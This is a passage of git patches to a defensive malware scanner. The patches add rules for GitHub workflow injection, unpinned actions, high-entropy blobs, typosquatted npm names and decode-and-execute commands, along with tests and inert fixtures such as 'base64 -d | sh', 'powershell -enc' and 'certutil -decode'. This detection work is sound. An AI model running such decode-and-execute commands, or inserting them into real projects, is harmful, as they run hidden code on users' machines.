test_trailing_yaml_comment_on_run_line_not_flagged(self): + hits = self.injection_hits( + " - run: echo ok # ${{ github.event.issue.title }}\n" + ) + self.assertEqual(hits, []) + + def test_block_scalar_header_comment_not_flagged(self): + hits = self.injection_hits( + " - run: | # ${{ github.event.issue.title }}\n" + " echo hi\n" + ) + self.assertEqual(hits, []) + + def test_with_input_named_run_not_flagged(self): + for step in ( + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + " with: {run: ${{ github.event.issue.title }}}\n", + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + " with:\n" + " run: ${{ github.event.issue.title }}\n", + ): + self.assertEqual(self.injection_hits(step), [], step) + + def test_shell_comment_inside_run_body_flagged(self): + hits = self.injection_hits( + " - run: |\n" + " echo ok # ${{ github.event.issue.title }}\n" + ) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_expression_inside_quotes_on_run_line_flagged(self): + hits = self.injection_hits( + ' - run: echo "a # ${{ github.event.issue.title }}"\n' + ) + self.assertEqual(len(hits), 1) + + if __name__ == "__main__": unittest.main() From 4e63135b9d12fe035321d2991bd3594d174cd563 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 22:36:47 +0100 Subject: [PATCH 20/31] fix(malware-scan): correct YAML comment semantics and workflow-rule precision --- scripts/malware-scan/scan.py | 76 +++++++++++++++------- tests/malware-scan/test_scan.py | 111 +++++++++++++++++++++++++++++++- 2 files changed, 162 insertions(+), 25 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index cf973d5..a0a8871 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -303,11 +303,11 @@ def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: WF_EXTS = (".yml", ".yaml") -KEY_LINE_RE = re.compile(r"^(\s*(?:-\s+)?)([A-Za-z_][\w.-]*)\s*:(?:[ \t]|$)(.*)$") +KEY_LINE_RE = re.compile(r"^(\s*(?:-\s+)?)(\"[^\"]*\"|'[^']*'|[A-Za-z_][\w.-]*)\s*:(?:[ \t]|$)(.*)$") COLLECTION_LINE_RE = re.compile(r"^\s*(?:-\s|[A-Za-z_][\w.-]*\s*:(?:[ \t]|$))") ON_KEY_RE = re.compile(r"^on\s*:(?:[ \t]|$)(.*)$") PR_TARGET_WORD_RE = re.compile(r"(? bool: return p.suffix in WF_EXTS and ".github" in p.parts and "workflows" in p.parts +def _unquote_key(key: str) -> str: + if len(key) >= 2 and key[0] == key[-1] and key[0] in ("'", '"'): + return key[1:-1] + return key + + def _strip_yaml_comment(line: str) -> str: - quote = "" - i, n = 0, len(line) - while i < n: - c = line[i] - if quote: - if quote == '"' and c == "\\": - i += 2 - continue - if c == quote: - quote = "" - elif c in ("'", '"'): - quote = c - elif c == "#" and (i == 0 or line[i - 1] in " \t"): + m = KEY_LINE_RE.match(line) + idx = m.start(3) if m else 0 + while idx < len(line) and line[idx] in " \t": + idx += 1 + if idx < len(line) and line[idx] in ("'", '"'): + quote = "" + i, n = idx, len(line) + while i < n: + c = line[i] + if quote: + if quote == '"' and c == "\\": + i += 2 + continue + if c == quote: + quote = "" + elif c in ("'", '"'): + quote = c + elif c == "#" and (i == 0 or line[i - 1] in " \t"): + return line[:i] + i += 1 + return line + for i in range(idx, len(line)): + if line[i] == "#" and (i == 0 or line[i - 1] in " \t"): return line[:i] - i += 1 return line @@ -345,6 +360,7 @@ def _indent_of(line: str) -> int: def _find_pr_target_trigger(lines: list[str]) -> int: in_on = False on_indent = 0 + child_indent: int | None = None for i, ln in enumerate(lines, 1): stripped = ln.strip() if not stripped or stripped.startswith("#"): @@ -353,6 +369,7 @@ def _find_pr_target_trigger(lines: list[str]) -> int: if m and not in_on: in_on = True on_indent = _indent_of(ln) + child_indent = None rest = _strip_yaml_comment(m.group(1)).strip() if rest[:1] in ("|", ">"): continue @@ -365,13 +382,17 @@ def _find_pr_target_trigger(lines: list[str]) -> int: if _indent_of(ln) <= on_indent: in_on = False continue + if child_indent is None: + child_indent = _indent_of(ln) + if _indent_of(ln) != child_indent: + continue if PR_TARGET_WORD_RE.search(_strip_yaml_comment(ln)): return i return 0 STEP_MARKER_RE = re.compile(r"^(\s*)-\s") -CHECKOUT_ACTION_RE = re.compile(r"(?:^|/)checkout(?:/|$)") +CHECKOUT_ACTION_RE = re.compile(r"(?i)(?:^|/)checkout(?:/|$)") def _step_span(lines: list[str], i: int) -> tuple[int, int]: @@ -427,7 +448,7 @@ def _step_checks_out_head( def _checks_out_untrusted_head(lines: list[str]) -> bool: spans = _value_spans(lines) - chains = _key_chains(lines) + chains = _key_chains(lines, spans) scalar_content: set[int] = set() for s, e, _key in spans: scalar_content.update(range(s + 1, e)) @@ -475,7 +496,7 @@ def _value_spans(lines: list[str]) -> list[tuple[int, int, str]]: i += 1 continue key_col = len(m.group(1)) - key = m.group(2) + key = _unquote_key(m.group(2)) rest = _strip_yaml_comment(m.group(3)).strip() is_block = rest[:1] in ("|", ">") if not rest and not is_block: @@ -507,12 +528,15 @@ def rule_wf_script_injection(path: str, text: str) -> list[Finding]: return [] out = [] lines = text.splitlines() - chains = _key_chains(lines) - for start, end, key in _value_spans(lines): + spans = _value_spans(lines) + chains = _key_chains(lines, spans) + for start, end, key in spans: if key != "run": continue if "with" in chains[start][:-1]: continue + if "steps" not in chains[start][:-1]: + continue m = KEY_LINE_RE.match(lines[start]) is_block = _strip_yaml_comment(m.group(3)).strip()[:1] in ("|", ">") for j in range(start, end): @@ -525,13 +549,15 @@ def rule_wf_script_injection(path: str, text: str) -> list[Finding]: return out -def _key_chains(lines: list[str]) -> dict[int, tuple[str, ...]]: +def _key_chains(lines: list[str], spans: list[tuple[int, int, str]] | None = None) -> dict[int, tuple[str, ...]]: """Map each _value_spans key-line index to its full key path (outermost key first, including the key itself). Block-scalar bodies are excluded because _value_spans consumes them.""" + if spans is None: + spans = _value_spans(lines) chains: dict[int, tuple[str, ...]] = {} stack: list[tuple[int, tuple[str, ...]]] = [] - for start, _end, key in _value_spans(lines): + for start, _end, key in spans: m = KEY_LINE_RE.match(lines[start]) col = len(m.group(1)) while stack and stack[-1][0] >= col: @@ -571,7 +597,7 @@ def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: spans = _value_spans(lines) for start, end, _key in spans: scalar_content.update(range(start + 1, end)) - chains = _key_chains(lines) + chains = _key_chains(lines, spans) jobs = _job_blocks(chains) secrets_jobs = { chain[1] @@ -588,6 +614,8 @@ def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: name, ref = m.group(1), m.group(2) if re.fullmatch(r"[0-9a-fA-F]{40}", ref.strip("'\"")): continue + if re.fullmatch(r"sha256:[0-9a-fA-F]{64}", ref.strip("'\"")): + continue severity = "BLOCK" if _job_id_at(jobs, i) in secrets_jobs else "WARN" out.append(Finding( "WF-UNPINNED-ACTION", severity, path, i + 1, diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 5244dde..b155240 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -712,6 +712,21 @@ def test_uses_looking_text_in_block_scalar_not_flagged(self): found = scan_mod.scan_text(".github/workflows/wf.yml", text) self.assertEqual([f for f in found if f.rule == "WF-UNPINNED-ACTION"], []) + def test_pull_request_target_nested_under_on_not_flagged(self): + text = ( + "name: x\n" + "on:\n" + " workflow_run:\n" + " workflows: [pull_request_target]\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: npm test\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"], []) + def test_secrets_looking_text_in_block_scalar_does_not_escalate(self): text = ( "name: x\n" @@ -795,6 +810,42 @@ def test_workflow_call_secrets_definition_does_not_escalate(self): self.assertEqual(len(hits), 1) self.assertEqual(hits[0].severity, "WARN", found) + def test_quoted_secrets_key_escalates(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + ' "secrets": inherit\n' + " steps:\n" + + self.unpinned_uses("some/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK", found) + + def test_secrets_job_first_ordering(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " a:\n" + " runs-on: ubuntu-latest\n" + " secrets: inherit\n" + " steps:\n" + + self.unpinned_uses("some/action") + + " b:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + self.unpinned_uses("other/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = {(f.line, f.severity) for f in found if f.rule == "WF-UNPINNED-ACTION"} + self.assertIn((8, "BLOCK"), hits, found) + self.assertIn((12, "WARN"), hits, found) + def test_env_key_named_secrets_does_not_escalate(self): text = ( "name: x\n" @@ -848,6 +899,12 @@ def test_uppercase_sha_pin_silent(self): def test_mixed_case_sha_pin_silent(self): self.assert_pin_silent("0123456789ABCDEF0123456789abcdef01234567") + def test_docker_digest_pin_silent(self): + self.assert_pin_silent("sha256:" + "a" * 64) + + def test_docker_digest_pin_uppercase_silent(self): + self.assert_pin_silent("sha256:" + "A" * 64) + def test_sha_with_suffix_fires(self): self.assert_pin_fires(self.HEX + "-abc") @@ -910,6 +967,16 @@ def test_checkout_with_ref_head_sha_is_block(self): self.assertEqual(len(hits), 1) self.assertEqual(hits[0].severity, "BLOCK") + def test_checkout_case_insensitive_with_head_ref_is_block(self): + text = self.pr_target( + " - uses: actions/Checkout@v4\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + def test_checkout_with_head_ref_expr_is_block(self): text = self.pr_target( " - name: c\n" @@ -967,11 +1034,53 @@ def test_shell_comment_inside_run_body_flagged(self): self.assertEqual(len(hits), 1) self.assertEqual(hits[0].severity, "BLOCK") - def test_expression_inside_quotes_on_run_line_flagged(self): + def test_expression_inside_quotes_on_run_line_silent(self): hits = self.injection_hits( ' - run: echo "a # ${{ github.event.issue.title }}"\n' ) + self.assertEqual(hits, []) + + def test_expression_in_quoted_value_on_run_line_flagged(self): + hits = self.injection_hits( + ' - run: "echo a # ${{ github.event.issue.title }}"\n' + ) self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_env_key_named_run_not_flagged(self): + text = ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " env:\n" + " run: ${{ github.event.issue.title }}\n" + " steps:\n" + " - run: echo ok\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-SCRIPT-INJECTION"], []) + + def test_comment_and_blank_lines_inside_step_span(self): + text = ( + "name: x\n" + "on: pull_request_target\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: actions/checkout@v4\n" + " # comment\n" + "\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n" + " - run: echo ok\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") if __name__ == "__main__": From bae97997bd524310ae8b9a8226a858929de44b4c Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 04:49:27 +0100 Subject: [PATCH 21/31] feat(malware-scan): suspicion heuristics and typosquat detection --- .../malware-scan/rules/typosquat_top100.txt | 77 +++++++++++ scripts/malware-scan/scan.py | 120 ++++++++++++++++++ .../fixtures/malicious/decode-cmd.txt | 2 + .../fixtures/malicious/entropy.js | 1 + .../fixtures/malicious/typosquat-package.json | 1 + tests/malware-scan/test_scan.py | 79 ++++++++++++ 6 files changed, 280 insertions(+) create mode 100644 scripts/malware-scan/rules/typosquat_top100.txt create mode 100644 tests/malware-scan/fixtures/malicious/decode-cmd.txt create mode 100644 tests/malware-scan/fixtures/malicious/entropy.js create mode 100644 tests/malware-scan/fixtures/malicious/typosquat-package.json diff --git a/scripts/malware-scan/rules/typosquat_top100.txt b/scripts/malware-scan/rules/typosquat_top100.txt new file mode 100644 index 0000000..144ff83 --- /dev/null +++ b/scripts/malware-scan/rules/typosquat_top100.txt @@ -0,0 +1,77 @@ +angular +axios +babel-core +body-parser +bootstrap +browserify +chalk +commander +core-js +debug +dotenv +ejs +eslint +express +fastify +firebase +form-data +glob +graphql +handlebars +immer +jest +jquery +js-yaml +jsonwebtoken +koa +less +lodash +log4js +marked +mkdirp +moment +mongoose +morgan +nanoid +next +node-fetch +nodemailer +nodemon +npm +nuxt +passport +pm2 +postcss +prettier +prisma +puppeteer +qs +react +react-dom +redux +request +rollup +rxjs +sass +semver +socket.io +sqlite3 +styled-components +superagent +superset +tailwindcss +tar +ts-node +tslib +tsutils +tunnel-agent +typedoc +typescript +underscore +uuid +vite +webpack +ws +yaml +yargs +zod diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index a0a8871..c3b0c97 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -4,6 +4,7 @@ import argparse import json +import math import os import re import sys @@ -627,6 +628,125 @@ def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: TEXT_RULES.extend([rule_wf_pwn_request, rule_wf_script_injection, rule_wf_unpinned_action]) +RULES_DIR = Path(__file__).resolve().parent / "rules" +TYPOSQUAT_LIST = RULES_DIR / "typosquat_top100.txt" +ENTROPY_MIN_LEN = 64 +ENTROPY_BITS = 4.8 +ENTROPY_TOKEN_RE = re.compile(r"[A-Za-z0-9+/=]{64,4096}") +PS_SHELL_RE = re.compile(r"(?i)\b(?:powershell|pwsh)\b") +PS_ENC_FLAG_RE = re.compile(r"(?i)(? float: + if not s: + return 0.0 + counts: dict[str, int] = {} + for ch in s: + counts[ch] = counts.get(ch, 0) + 1 + n = len(s) + return -sum((c / n) * math.log2(c / n) for c in counts.values()) + + +def rule_susp_high_entropy(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if len(ln) < ENTROPY_MIN_LEN: + continue + for m in ENTROPY_TOKEN_RE.finditer(ln): + if _shannon(m.group(0)) >= ENTROPY_BITS: + out.append(Finding( + "SUSP-HIGH-ENTROPY", "WARN", path, i, + "high-entropy literal (possible packed payload)", + )) + break + return out + + +def _edit_distance_bounded(a: str, b: str, k: int = 2) -> int: + if a == b: + return 0 + if abs(len(a) - len(b)) > k: + return k + 1 + prev = list(range(len(b) + 1)) + for i, ca in enumerate(a, 1): + cur = [i] + row_min = i + for j, cb in enumerate(b, 1): + v = min(prev[j] + 1, cur[j - 1] + 1, prev[j - 1] + (ca != cb)) + cur.append(v) + if v < row_min: + row_min = v + if row_min > k: + return k + 1 + prev = cur + return prev[-1] + + +def _locate_name_line(text: str, name: str) -> int: + pos = text.find(f'"{name}"') + if pos == -1: + pos = text.find(name) + if pos == -1: + return 1 + return text.count("\n", 0, pos) + 1 + + +def rule_susp_typosquat(path: str, text: str) -> list[Finding]: + if not Path(path).name.endswith("package.json"): + return [] + try: + data = json.loads(text) + except (ValueError, RecursionError): + return [] + if not isinstance(data, dict): + return [] + names: set[str] = set() + if isinstance(data.get("name"), str) and data["name"]: + names.add(data["name"]) + for key in ( + "dependencies", "devDependencies", "peerDependencies", "optionalDependencies" + ): + deps = data.get(key) + if isinstance(deps, dict): + names.update(k for k in deps if isinstance(k, str) and k) + if not TYPOSQUAT_LIST.is_file(): + return [] + popular = { + ln.strip() + for ln in TYPOSQUAT_LIST.read_text(encoding="utf-8").splitlines() + if ln.strip() + } + out = [] + for name in sorted(names): + if name.startswith("@") or name in popular: + continue + if any(_edit_distance_bounded(name, pop) <= 2 for pop in popular): + out.append(Finding( + "SUSP-TYPOSQUAT", "WARN", path, _locate_name_line(text, name), + f"package name {name!r} is within edit distance 2 of a popular " + "package name (possible typosquat)", + )) + return out + + +def rule_susp_decode_command(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if _is_decode_exec(ln) or ( + PS_SHELL_RE.search(ln) and PS_ENC_FLAG_RE.search(ln) + ): + out.append(Finding( + "SUSP-DECODE-COMMAND", "WARN", path, i, + "decode-and-execute command string", + )) + return out + + +TEXT_RULES.extend([ + rule_susp_high_entropy, rule_susp_typosquat, rule_susp_decode_command, +]) + + def _include_file(q: Path) -> bool: if q.is_symlink() or not q.is_file(): return False diff --git a/tests/malware-scan/fixtures/malicious/decode-cmd.txt b/tests/malware-scan/fixtures/malicious/decode-cmd.txt new file mode 100644 index 0000000..42030fd --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/decode-cmd.txt @@ -0,0 +1,2 @@ +some docs text +echo c29tZXRoaW5n | base64 -d | sh diff --git a/tests/malware-scan/fixtures/malicious/entropy.js b/tests/malware-scan/fixtures/malicious/entropy.js new file mode 100644 index 0000000..a8a9bb6 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/entropy.js @@ -0,0 +1 @@ +const blob = "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWV"; diff --git a/tests/malware-scan/fixtures/malicious/typosquat-package.json b/tests/malware-scan/fixtures/malicious/typosquat-package.json new file mode 100644 index 0000000..88fc205 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/typosquat-package.json @@ -0,0 +1 @@ +{ "name": "lodahs", "version": "1.0.0", "dependencies": { "expresss": "^4.0.0" } } diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index b155240..f0fd45e 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -989,6 +989,85 @@ def test_checkout_with_head_ref_expr_is_block(self): self.assertEqual(hits[0].severity, "BLOCK") +class TestSuspicionRules(unittest.TestCase): + def test_high_entropy_warns(self): + p = FIXTURES / "malicious" / "entropy.js" + found = scan_mod.scan_text(str(p), p.read_text()) + ent = [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"] + self.assertTrue(ent) + self.assertEqual(ent[0].severity, "WARN") + + def test_high_entropy_short_token_silent(self): + text = 'const x = "Ab3+/=Qz9";\n' + found = scan_mod.scan_text("short.js", text) + self.assertEqual( + [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"], [] + ) + + def test_high_entropy_low_entropy_long_token_silent(self): + text = 'const x = "%s";\n' % ("A" * 120) + found = scan_mod.scan_text("flat.js", text) + self.assertEqual( + [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"], [] + ) + + def test_typosquat_warns(self): + p = FIXTURES / "malicious" / "typosquat-package.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("SUSP-TYPOSQUAT", {f.rule for f in found}) + + def test_typosquat_reports_both_names_warn(self): + text = '{"name": "lodahs", "dependencies": {"expresss": "^4.0.0"}}\n' + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "SUSP-TYPOSQUAT"] + self.assertEqual(len(hits), 2, found) + self.assertTrue(all(f.severity == "WARN" for f in hits)) + msgs = " ".join(f.message for f in hits) + self.assertIn("lodahs", msgs) + self.assertIn("expresss", msgs) + + def test_typosquat_popular_name_silent(self): + text = '{"name": "express", "dependencies": {"express": "^4.0.0"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_typosquat_scoped_name_silent(self): + text = '{"name": "@types/node", "dependencies": {"@types/node": "^18.0.0"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_typosquat_malformed_json_silent(self): + self.assertEqual(scan_mod.scan_text("package.json", '{"name":'), []) + + def test_typosquat_non_package_json_silent(self): + text = '{"name": "lodahs", "dependencies": {"expresss": "^4.0.0"}}\n' + self.assertEqual(scan_mod.scan_text("config.json", text), []) + + def test_decode_exec_warns(self): + p = FIXTURES / "malicious" / "decode-cmd.txt" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "SUSP-DECODE-COMMAND"] + self.assertTrue(hits, found) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].line, 2) + + def test_decode_powershell_enc_warns(self): + found = scan_mod.scan_text("run.ps1", "powershell -enc AAAA\n") + hits = [f for f in found if f.rule == "SUSP-DECODE-COMMAND"] + self.assertEqual(len(hits), 1, found) + self.assertEqual(hits[0].severity, "WARN") + + def test_decode_certutil_warns(self): + found = scan_mod.scan_text("run.bat", "certutil -decode x y\n") + hits = [f for f in found if f.rule == "SUSP-DECODE-COMMAND"] + self.assertEqual(len(hits), 1, found) + self.assertEqual(hits[0].severity, "WARN") + + def test_decode_benign_command_silent(self): + found = scan_mod.scan_text("run.sh", "npm test\n") + self.assertEqual( + [f for f in found if f.rule == "SUSP-DECODE-COMMAND"], [] + ) + + class TestScriptInjectionBoundaries(unittest.TestCase): def injection_hits(self, *steps: str): text = ( From 4edc005d2dfd759407486fcd35534720084f78b7 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 05:13:25 +0100 Subject: [PATCH 22/31] feat(malware-scan): allowlist, diff/history modes, diff-only rules --- scripts/malware-scan/allowlist.json | 14 ++ scripts/malware-scan/scan.py | 208 ++++++++++++++++++++++++++- tests/malware-scan/test_scan.py | 214 ++++++++++++++++++++++++++++ 3 files changed, 433 insertions(+), 3 deletions(-) create mode 100644 scripts/malware-scan/allowlist.json diff --git a/scripts/malware-scan/allowlist.json b/scripts/malware-scan/allowlist.json new file mode 100644 index 0000000..2c23d69 --- /dev/null +++ b/scripts/malware-scan/allowlist.json @@ -0,0 +1,14 @@ +{ + "allow": [ + { + "rule": "*", + "path": "tests/malware-scan/fixtures/*", + "reason": "Inert synthetic scanner test fixtures (see fixtures/README.md); excluded from live scans" + }, + { + "rule": "*", + "path": "docs/compose/*", + "reason": "Design/plan docs quote malware fixture payloads verbatim for documentation" + } + ] +} diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index c3b0c97..ff02308 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -3,10 +3,12 @@ from __future__ import annotations import argparse +import fnmatch import json import math import os import re +import subprocess import sys from dataclasses import asdict, dataclass from pathlib import Path @@ -796,14 +798,214 @@ def run(paths: list[str]) -> list[Finding]: return findings +ALLOWLIST_KEYS = ("rule", "path", "reason") +DEP_KINDS = ( + "dependencies", "devDependencies", "peerDependencies", "optionalDependencies" +) + + +def load_allowlist(path: str | Path) -> list[dict]: + p = Path(path) + try: + raw = p.read_text(encoding="utf-8") + except OSError as exc: + raise RuntimeError(f"cannot read allowlist {p}: {exc}") from exc + try: + data = json.loads(raw) + except ValueError as exc: + raise RuntimeError(f"invalid allowlist JSON in {p}: {exc}") from exc + if not isinstance(data, dict) or not isinstance(data.get("allow"), list): + raise RuntimeError(f"allowlist {p} must be an object with an 'allow' list") + entries = data["allow"] + for e in entries: + if not isinstance(e, dict): + raise RuntimeError(f"allowlist entry must be an object: {e!r}") + for key in ALLOWLIST_KEYS: + val = e.get(key) + if not isinstance(val, str) or not val: + raise RuntimeError(f"allowlist entry missing {key}: {e!r}") + return entries + + +def apply_allowlist(findings: list[Finding], allow: list[dict]) -> list[Finding]: + kept = [] + for f in findings: + suppressed = any( + fnmatch.fnmatch(f.rule, a["rule"]) and fnmatch.fnmatch(f.path, a["path"]) + for a in allow + ) + if not suppressed: + kept.append(f) + return kept + + +def _git_run( + repo: str | Path, args: list[str], *, stdin: bytes | None = None, + check: bool = True, +) -> subprocess.CompletedProcess: + proc = subprocess.run( + ["git", *args], cwd=str(repo), input=stdin, capture_output=True, + ) + if check and proc.returncode != 0: + err = proc.stderr.decode("utf-8", "replace").strip() + raise RuntimeError(f"git {' '.join(args)} failed in {repo}: {err}") + return proc + + +def git_changed_files(repo: str | Path, base: str, head: str) -> list[str]: + out = _git_run(repo, ["diff", "--name-only", base, head]).stdout + return [ + ln.strip() for ln in out.decode("utf-8", "replace").splitlines() if ln.strip() + ] + + +def _git_show_text(repo: str | Path, revspec: str) -> str: + proc = _git_run(repo, ["show", revspec], check=False) + if proc.returncode != 0: + return "" + return proc.stdout.decode("utf-8", "replace") + + +def rule_susp_new_binary(path: str, raw: bytes) -> list[Finding]: + if b"\x00" in raw[:8192]: + return [Finding( + "SUSP-NEW-BINARY", "WARN", path, 1, + "binary or NUL-containing file added", + )] + return [] + + +def _dependency_map(text: str) -> dict[str, set[str]]: + try: + data = json.loads(text) + except (ValueError, RecursionError): + return {} + if not isinstance(data, dict): + return {} + out: dict[str, set[str]] = {} + for key in DEP_KINDS: + deps = data.get(key) + out[key] = ( + {k for k in deps if isinstance(k, str)} if isinstance(deps, dict) else set() + ) + return out + + +def rule_susp_new_dependency( + path: str, text: str, base_text: str, +) -> list[Finding]: + if not Path(path).name.endswith("package.json"): + return [] + now = _dependency_map(text) + old = _dependency_map(base_text) + out = [] + for kind in DEP_KINDS: + for dep in sorted(now.get(kind, set()) - old.get(kind, set())): + out.append(Finding( + "SUSP-NEW-DEPENDENCY", "WARN", path, _locate_name_line(text, dep), + f"new {kind} entry {dep!r} added — verify legitimacy", + )) + return out + + +def run_diff( + repo: str | Path, base: str, head: str, +) -> tuple[list[Finding], list[str]]: + findings: list[Finding] = [] + scanned: list[str] = [] + for rel in git_changed_files(repo, base, head): + p = Path(repo) / rel + if p.is_symlink() or not p.is_file(): + continue + try: + raw = p.read_bytes() + except OSError as exc: + raise RuntimeError(f"cannot read {p}: {exc}") from exc + scanned.append(rel) + findings.extend(rule_susp_new_binary(rel, raw)) + text = raw.decode("utf-8", "replace") + findings.extend(scan_text(rel, text)) + findings.extend( + rule_susp_new_dependency(rel, text, _git_show_text(repo, f"{base}:{rel}")) + ) + return findings, scanned + + +def run_history(repo: str | Path) -> tuple[list[Finding], list[str]]: + out = _git_run(repo, ["rev-list", "--objects", "--all"]).stdout + oid_path: dict[str, str] = {} + order: list[str] = [] + for line in out.decode("utf-8", "replace").splitlines(): + parts = line.split(" ", 1) + oid = parts[0].strip() + if not re.fullmatch(r"[0-9a-f]{40,64}", oid) or len(parts) < 2: + continue + if oid in oid_path: + continue + oid_path[oid] = parts[1] + order.append(oid) + if not order: + return [], [] + check = _git_run( + repo, ["cat-file", "--batch-check"], + stdin=("\n".join(order) + "\n").encode(), + ).stdout + meta: dict[str, tuple[str, int]] = {} + for line in check.decode("utf-8", "replace").splitlines(): + fields = line.split() + if len(fields) >= 3 and fields[0] in oid_path: + meta[fields[0]] = (fields[1], int(fields[2])) + findings: list[Finding] = [] + scanned: list[str] = [] + cache: dict[str, list[Finding]] = {} + for oid in order: + typ, size = meta.get(oid, ("missing", -1)) + if typ != "blob" or size > MAX_FILE_BYTES or oid in cache: + continue + content = _git_run(repo, ["cat-file", "blob", oid]).stdout + cache[oid] = scan_text(oid_path[oid], content.decode("utf-8", "replace")) + scanned.append(oid_path[oid]) + findings.extend(cache[oid]) + return findings, scanned + + def main(argv: list[str] | None = None) -> int: ap = argparse.ArgumentParser(prog="scan.py") - ap.add_argument("--paths", nargs="+", default=["."]) + ap.add_argument("--paths", nargs="+", default=None) + ap.add_argument("--base", default=None, help="base revision for diff mode") + ap.add_argument("--head", default=None, help="head revision for diff mode") + ap.add_argument("--history", action="store_true", + help="scan every unique blob reachable from any ref") + ap.add_argument( + "--allowlist", + default=str(Path(__file__).resolve().parent / "allowlist.json"), + help="suppression list JSON (rule/path/reason entries)", + ) ap.add_argument("--json-out", default="-", help="'-' for stdout or a file path") args = ap.parse_args(argv) try: - findings = run(args.paths) - payload = {"findings": [asdict(f) for f in findings], "scanned": args.paths} + allow = load_allowlist(args.allowlist) + mode_paths = args.paths is not None + mode_diff = args.base is not None or args.head is not None + if sum((bool(args.history), mode_diff, mode_paths)) > 1: + raise RuntimeError( + "choose exactly one of --paths, --base/--head, or --history" + ) + if mode_diff and (args.base is None or args.head is None): + raise RuntimeError("--base and --head must be used together") + if args.history: + findings, scanned = run_history(Path.cwd()) + elif mode_diff: + findings, scanned = run_diff(Path.cwd(), args.base, args.head) + else: + scanned = args.paths if args.paths is not None else ["."] + findings = run(scanned) + before = len(findings) + findings = apply_allowlist(findings, allow) + suppressed = before - len(findings) + if suppressed: + print(f"allowlist: suppressed {suppressed} finding(s)", file=sys.stderr) + payload = {"findings": [asdict(f) for f in findings], "scanned": scanned} out = json.dumps(payload, indent=2) if args.json_out == "-": print(out) diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index f0fd45e..b57dd2c 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -1162,5 +1162,219 @@ def test_comment_and_blank_lines_inside_step_span(self): self.assertEqual(hits[0].severity, "BLOCK") +def _git_ok(root: Path, *args: str) -> subprocess.CompletedProcess: + return subprocess.run( + ["git", *args], cwd=root, capture_output=True, check=True, + ) + + +def _git_commit(root: Path, msg: str) -> None: + _git_ok( + root, "-c", "user.email=t@t", "-c", "user.name=t", + "-c", "commit.gpgsign=false", + "commit", "-qm", msg, + ) + + +class TestAllowlist(unittest.TestCase): + def test_allowlist_suppresses_with_reason(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": 